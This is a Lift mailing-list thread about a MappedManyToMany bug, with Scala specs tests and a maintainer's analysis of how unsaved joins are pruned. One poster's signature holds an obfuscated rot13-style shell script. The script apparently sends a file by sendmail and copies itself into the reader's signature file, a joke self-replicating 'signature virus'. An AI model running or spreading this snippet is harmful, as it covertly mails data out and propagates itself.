MappedManyToMany soemtimes ignores children depending on what you save when

37 views
Skip to first unread message

Florian Hars

unread,
May 2, 2011, 6:19:14 AM5/2/11
to lif...@googlegroups.com
Only two of the following five tests pass, the rest fail with "0 is not equal to 1",
which is not exactly the behaviour I'd expect from a Buffer. Most curious is that the
second passes, while the fourth one fails:

"count unsaved children" in {
setupDB
val person = new Person
val company = new Company
person.companies += company
person.companies.length must_== 1
}
"count saved children" in {
setupDB
val person = new Person
val company = new Company
company.save
person.companies += company
person.companies.length must_== 1
}
"count children of a saved entity" in {
setupDB
val person = new Person
val company = new Company
person.companies += company
person.save
person.companies.length must_== 1
}
"count saved children of a saved entity" in {
setupDB
val person = new Person
val company = new Company
company.save
person.companies += company
person.save
person.companies.length must_== 1
}
"count saved children of a saved entity after refresh" in {
setupDB
val person = new Person
person.save
val company = new Company
company.save
person.companies += company
person.save
person.companies.refresh
person.companies.length must_== 1
}
}

- Florian.
--
#!/bin/sh -
set - `type -p $0` 'tr [a-m][n-z]RUXJAKBOZ [n-z][a-m]EH$W/@OBM' fu XUBZRA.fvt\
angher echo;while [ "$5" != "" ];do shift;done;$4 "gbhpu $3;fraqznvy sKunef.q\
r<$3&&frq -a -rc "`$4 "$0"|$1`">$3;rpub 'Jr ner Svt bs Obet.'"|$1|`$4 $2|$1`

Naftoli Gugenheim

unread,
May 2, 2011, 3:25:56 PM5/2/11
to lif...@googlegroups.com
Thanks for reporting this. I will have to look into it, G-d willing.
However, recently my hard drive failed, so currently I can't do very
much.

> --
> You received this message because you are subscribed to the Google Groups
> "Lift" group.
> To post to this group, send email to lif...@googlegroups.com.
> To unsubscribe from this group, send email to
> liftweb+u...@googlegroups.com.
> For more options, visit this group at
> http://groups.google.com/group/liftweb?hl=en.
>
>

--
Sent from my mobile device

nafg

unread,
May 19, 2011, 3:33:30 AM5/19/11
to lif...@googlegroups.com
Okay, I got a chance to look into this. I plan to report my findings tomorrow.

nafg

unread,
May 19, 2011, 6:11:19 PM5/19/11
to lif...@googlegroups.com
Okay, so here's the story (thoughts, please):

First of all, the problems all come from adding unsaved children. You see, internally MappedManyToMany keeps a list of join instances (instances of PersonCompany in the case of the test). If you set PersonCompany.company to an unsaved Company --- when it's not using LongMappedMapper but MappedLongForeignKey --- then all it really has is a Long value of -1. Continuing inline...


On Monday, May 2, 2011 6:19:14 AM UTC-4, Florian Hars wrote:
Only two of the following five tests pass, the rest fail with "0 is not equal to 1",
which is not exactly the behaviour I'd expect from a Buffer. Most curious is that the
second passes, while the fourth one fails:

    "count unsaved children" in {
      setupDB
      val person = new Person
      val company = new Company
      person.companies += company
      person.companies.length must_== 1
    }

The buffer's data is obtained by flatMapping the obj's of the joins. I was able to make this test pass by calling primeObj, so that although its id is -1, its obj is Full.
 

    "count saved children" in {
      setupDB
      val person = new Person
      val company = new Company
      company.save
      person.companies += company
      person.companies.length must_== 1
    }


That one passed, since company has a positive id.

    "count children of a saved entity" in {
      setupDB
      val person = new Person
      val company = new Company
      person.companies += company
      person.save
      person.companies.length must_== 1
    }

This one I didn't fix, because the only way to fix it is to have ManyToMany save the company, and I'd like feedback on whether that's a good idea. My assumption was that ManyToMany should manage joins, not the entities on the other side of the relationship.
ManyToMany is very different from OneToMany in this respect, at least Owned OneToMany. When you have a 1-n relationship, I think you can say that entities on the "many" side are children --- members --- of the entity on the "one" side. It's like a multi-valued field. After all, each item on the "many" side has only one associated item on the "one" side. But can you say that about ManyToMany? Is "companies" a property of a Person more than "people" is a property of a Company? So a company is an independent idea from a person --- it has its own identity. So for that reason I would not expect that saving a Person should cause a Company to get saved.
If Person does not go ahead and save the Company for you, then what should Person.companies.save do when it encounters a join with child id of -1? There are a few possibilities. It could (1) remove it (the current behavior); (2) save a join record with -1; or (3) not save that join table at this time. Keep in mind that saving the Company later is not necessarily going to fix the join table.

So what do people say? What's the correct behavior?

    "count saved children of a saved entity" in {
      setupDB
      val person = new Person
      val company = new Company
      company.save
      person.companies += company
      person.save
      person.companies.length must_== 1
    }


Here the problem is as follows:
As mentioned, before saving MappedManyToMany currently prunes out any "bad" joins. Bad joins are defined as joins that either (as mentioned) have a child ("other") foreign key field with its default value (-1), OR whose parent foreign key field has an value not equal to the id of the ManyToMany KeyedMapped doing the saving.
In this case, initially person.id, and the relevant PersonCompany.person, equalled -1. But ManyToMany saved itself first, and then the joins. By that time however, person.id equalled 1, and the PersonCompany.person was still equal to -1. I got the test to pass by reversing the order. Note that save &&'s the two together (save returns a Boolean value indicating success), so with this change the Person will only be saved if Person.companies saves successfully.

nafg

unread,
May 19, 2011, 10:21:34 PM5/19/11
to lif...@googlegroups.com
David, is there an IP issue with tests?
Reply all
Reply to author
Forward
0 new messages